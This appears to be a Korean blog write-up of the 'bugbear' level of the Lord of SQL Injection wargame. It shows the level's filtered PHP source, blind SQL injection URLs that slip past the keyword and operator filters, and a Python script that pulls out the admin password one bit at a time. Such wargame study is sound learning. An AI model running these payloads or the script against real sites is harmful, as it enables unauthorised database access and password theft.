LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Darkknight에 이어 Bugbear 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Bugbear문제를 들어가기 전에, 몬스터의 이미지를 보면... 곰같은 곤충? 곤충같은 곰? 뭐지..? 잡몹인듯 잡몹아닌 잡몹 같은 몬스터... Blind SQL Injection이라는 난이도와 이전 단계보다 더 견고한 추가적인 필터링을 요구하고 있습니다. 

 

하.하....

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

위의 문제에서는 먼저 pw와 no에 값을 넣을 수 있음을 볼 수 있는데.... pw에는 싱글쿼터 필터링이 걸려 있어서 조작이 어려울 것 같습니다. 그렇다면 비교적 필터링이 적은 no에 SQL Injection을 수행하도록 합시다.

7번 라인을 보니 싱글쿼터, substr, ascii, equal(=), or, and, like, whitespace, 0x 가 필터링 되어 있는 것을 확인할 수 있습니다. 거업나 많네요. Darkknight보다 무려 5개의 필터링이 추가적으로 작성되어 있습니다.

이번에도 no(넘버) 에 SQL Injecion을 수행해야할 것 같습니다.

또한 여기서는 7번 라인을 보아하니 or가 필터링되어 있으니, ord 함수 또한 사용할 수 없다는 것을 알 수 있습니다. 

또한 equal(=) 비교연산자가 필터링되어 있기 때문에 다른 비교연산자를 사용해주어야 합니다.

 

 

 

 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기

먼저 우리는 table의 pw라는 컬럼과 id라는 컬럼을 알고 있습니다. 이제 이러한 컬럼들을 이용하여 적절한 값을 넣어줄 수 있을 것 같습니다.

MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=0||left(id,1)<unhex(62)%26%26length(pw)<1

 

위의 쿼리는 no가 0이거나 id가 첫 번째 글자가 0x62 즉, b보다 작은지 확인하고, 비밀번호 길이가 1보다 작은지 확인하도록 하는 것입니다.

이는 0||left(id,1)<unhex(62)%26%26length(pw)<1 으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.

 

그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 0이 아니기 때문입니다.

 

비밀번호 길이는 9까지 해보니 Hello admin이 출력되었습니다. 이는 즉, 1~8보다는 작지 않지만, 9보다는 작다. 라는 것입니다. 그렇다면 다음과 같은 결론이 나오게 됩니다.

 

8<= length(pw) < 9

 

따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.

 

이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0

여기서는 left 함수와 right 함수 대신에 보다 간편한 mid함수를 사용하였습니다. 그리고 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다. 또한 0x값을 사용할 수 없기 때문에 0x대신에 unhex() 함수를 사용하여 16진수를 문자로 바꿔주었습니다. 만약 unhex 값도 필터링되어있다면 char함수를 사용하면 되겠습니다.

 

mid(aStr, b, c) 함수는 aStr라는 문자열 값에서 b번째 위치부터 c개의 글자를 가져온다는 의미입니다.

 

hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.

 

conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.

 

bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.

 

lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.

 

안에 있는 mid 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 mid 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

# get length of column  =============

passwordLen = 0

for i in range(1, 100):
    payload = "0||left(id,1)<unhex(62)%26%26length(pw)<" + str(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        passwordLen = i-1
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, 9):
        payload = "0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,{},1)),16,10)),8,0),{},1)>0".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true!! 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

+ Recent posts